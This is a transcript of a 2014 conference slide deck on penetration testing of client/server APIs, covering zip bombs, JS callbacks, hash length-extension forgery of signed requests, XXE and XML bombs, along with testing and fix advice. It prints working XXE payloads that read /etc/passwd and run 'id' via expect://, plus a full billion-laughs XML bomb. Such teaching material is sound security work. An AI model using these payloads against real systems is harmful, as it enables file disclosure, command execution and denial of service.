CodeFest 2014 - Pentesting client/server API

58
Pentesting client/server API Sergey Belov

description

http://2014.codefest.ru/lecture/696

Transcript of CodeFest 2014 - Pentesting client/server API

Page 1: CodeFest 2014 - Pentesting client/server API

Pentesting client/server API

Sergey Belov

Page 2: CodeFest 2014 - Pentesting client/server API

$ whoami

© 2002—2014, Digital Security 2

• Senior Security Auditor at Digital Security • BugHunter: Google, Yandex, Badoo, Yahoo +++ • Writer: habrahabr, Xakep magazine • CTF: DEFCON 2012 CTF Final, Chaos Construction CTF’2013 • Speaker: CodeFest 2012, ZeroNights 0x03 • Trainer: Hack in Paris’2014, BlackHat’2014 USA (soon)

Page 3: CodeFest 2014 - Pentesting client/server API

What are we talking about?

© 2002—2014, Digital Security 3

API

Page 4: CodeFest 2014 - Pentesting client/server API

What are we talking about?

© 2002—2014, Digital Security 4

API

Page 5: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 5

Page 6: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 6

Page 7: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 7

From interface to API methods

Page 8: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 8

Page 9: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 9

Page 10: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 10

Page 11: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 11

Page 12: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 12

What should we test? • Logic! • Bypassing restrictions (sqli/xss) • Parameter tampering

Developing • Stop hacks and custom implementation in API! Really

Page 13: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 13

Page 14: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 14

ZIP

Page 15: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 15

42 Kb…

Page 16: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 16

42 Kb… …10 Gb?

Page 17: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 17

42 Kb… …10 Gb? …100 Gb?

Page 18: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 18

42 Kb… …10 Gb? …100 Gb? …100 Tb?

Page 19: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 19

42 Kb… …10 Gb? …100 Gb? …100 Tb?

…4.5 Pb! http://www.unforgettable.dk/

Page 20: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 20

Say HELLO

to ZIP BOMB!

Page 21: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 21

The evil of JavaScript and

Page 22: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 22

Page 23: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 23

Page 24: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 24

http://habrahabr.ru/post/186160/

Page 25: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 25

Crypto

Page 26: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 26

Query signing Sign = sha*(…+DATA+…)

APIkey

Page 27: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 27

Page 28: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 28

But why?

Page 29: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 29

Say hello again. To length extension attack

Page 30: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 30

A=1&B=2&C=3 07ce36c769ae130708258fb5dfa3d37ca5a67514

TOKEN=sha1(KEY+DATA)

Page 31: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 31

Some have hijacked just 1 request…

Page 32: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 32

What does the attacker know? • Original data • Sign (token)

Page 33: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 33

What does the attacker want?

Change some data / change params

Page 34: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 34

A=1&B=2&C=3\x80\x00\x00…\x02&C=4

Page 35: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 35

Can sign new query without API key!

Vkontakte: sig = md5(name1=value1name2=value2api_secret) Mail.RU sig = md5(uid + params + private_key)

http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack

Page 36: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 36

Request hijacking… How?

Page 37: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 37

Page 38: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 38

Page 39: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 39

Page 40: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 40

Page 41: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 41

Page 42: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 42

Page 43: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 43

Page 44: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 44

Page 45: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 45

XML? XML entities!

Page 46: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 46

DTD Example: <!ENTITY writer "Donald Duck."> <!ENTITY copyright "Copyright W3Schools."> XML example: <author>&writer;&copyright;</author>

Page 47: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 47

XML entities? External Entity!

Page 48: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 48

<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>

Page 49: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 49

<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM “expect://id" >]> <foo>&xxe;</foo>

Page 50: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 50

XML Bombs!

Page 51: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 51

<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">

<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>

Page 52: CodeFest 2014 - Pentesting client/server API

What are we talking about?

© 2002—2014, Digital Security 52

Man in the Middle

Page 53: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 53

Examples?

Page 54: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 54

2013-11-19 by Reginaldo Silva

Page 56: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 56

Testing: • https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008) • XXE to RCE https://gist.github.com/joernchen/3623896

Development: • Disable entities

Page 57: CodeFest 2014 - Pentesting client/server API

Hacking via API

© 2002—2014, Digital Security 57

Finally: • Re-test all interface restrictions; • Specific compressions; • JS callbacks; • Crypto + SSL test + hardcoded credentials (hackapp.com); • XML - XXE; • Anything else :]

Page 58: CodeFest 2014 - Pentesting client/server API

twitter.com/sergeybelove

[email protected]

Digital Security в Москве: (495) 223-07-86

Digital Security в Санкт-Петербурге: (812) 703-15-47

Hacking via API

Thanks for your attention! Questions?

© 2002—2014, Digital Security 58